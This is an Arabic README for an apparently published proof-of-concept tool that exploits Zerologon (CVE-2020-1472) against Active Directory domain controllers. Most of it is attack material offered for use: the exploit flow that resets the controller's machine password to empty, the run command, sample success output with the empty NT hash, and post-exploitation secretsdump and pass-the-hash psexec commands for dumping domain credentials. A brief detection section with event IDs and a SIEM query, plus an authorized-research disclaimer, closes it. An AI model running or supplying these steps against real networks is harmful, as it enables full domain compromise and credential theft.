
تطبيق إثبات المفهوم لثغرة Zerologon (CVE-2020-1472) - أداة استغلال ثغرة أمنية حرجة في Active Directory.
هذا المشروع هو تنفيذ لثغرة Zerologon (CVE-2020-1472)، وهي واحدة من أخطر ثغرات أمنية في Active Directory. تسمح هذه الثغرة لمهاجم غير مصادق باختراق نطاق Active Directory بالكامل عن طريق إعادة تعيين كلمة مرور حساب الآلة لوحدة تحكم المجال.
Zerologon هي خلل تشفيري في بروتوكول Netlogon البعيد من Microsoft (MS-NRPC). توجد الثغرة في الطريقة التي يستخدم بها Netlogon تشفير AES-CFB8 مع ناقل تهيئة (IV) ثابت بقيمة صفر.
الملخص الفني:
1. اختيار الهدف
└─> تحديد وحدة تحكم المجال (FQDN، اسم NetBIOS، حساب الآلة)
2. مرحلة التحدي (I_NetServerReqChallenge)
└─> إرسال تحدي العميل المكوّن من أصفار (0x0000000000000000)
└─> استلام تحدي الخادم
3. مرحلة المصادقة (I_NetServerAuthenticate2)
└─> محاولة المصادقة ببيانات اعتماد فارغة
└─> تكرار المحاولة حتى النجاح (~1/256 معدل نجاح لكل محاولة)
4. مرحلة إعادة تعيين كلمة المرور (I_NetServerPasswordSet2)
└─> إعادة تعيين كلمة مرور حساب آلة وحدة التحكم إلى فارغة
└─> تجزئة NT الجديدة: 31d6cfe0d16ae931b73c59d7e0c089c0 (كلمة مرور فارغة)
5. ما بعد الاستغلال
└─> استخدام Pass-the-Hash مع بيانات اعتماد فارغة
└─> تحقيق اختراق كامل للنطاق
باستخدام Visual Studio:
1. افتح Visual Studio
2. اختر **Build Solution** من قائمة **Build**.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
مثال:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: اسم النطاق المؤهل بالكامل لوحدة تحكم المجال الهدفDC_NetBIOS_Name: اسم NetBIOS لوحدة التحكم (عادةً اسم المضيف)Machine_Account_Name: اسم حساب الآلة (يجب أن ينتهي بـ $)استغلال ناجح:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
فشل الاستغلال (نظام مطبّق عليه التحديث):
[-] Attack failed after 2000 attempts. Target likely patched.
بعد إعادة تعيين كلمة مرور وحدة التحكم بنجاح، يمكنك:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
الكشف عبر الشبكة:
الكشف عبر السجلات:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
استعلامات SIEM:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
هذه الأداة مقدمة لأغراض البحث الأمني التعليمي والمصرح به فقط.
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا الكود.
هذا المشروع مرخص بموجب رخصة MIT. لمزيد من المعلومات، راجع ملف الترخيص.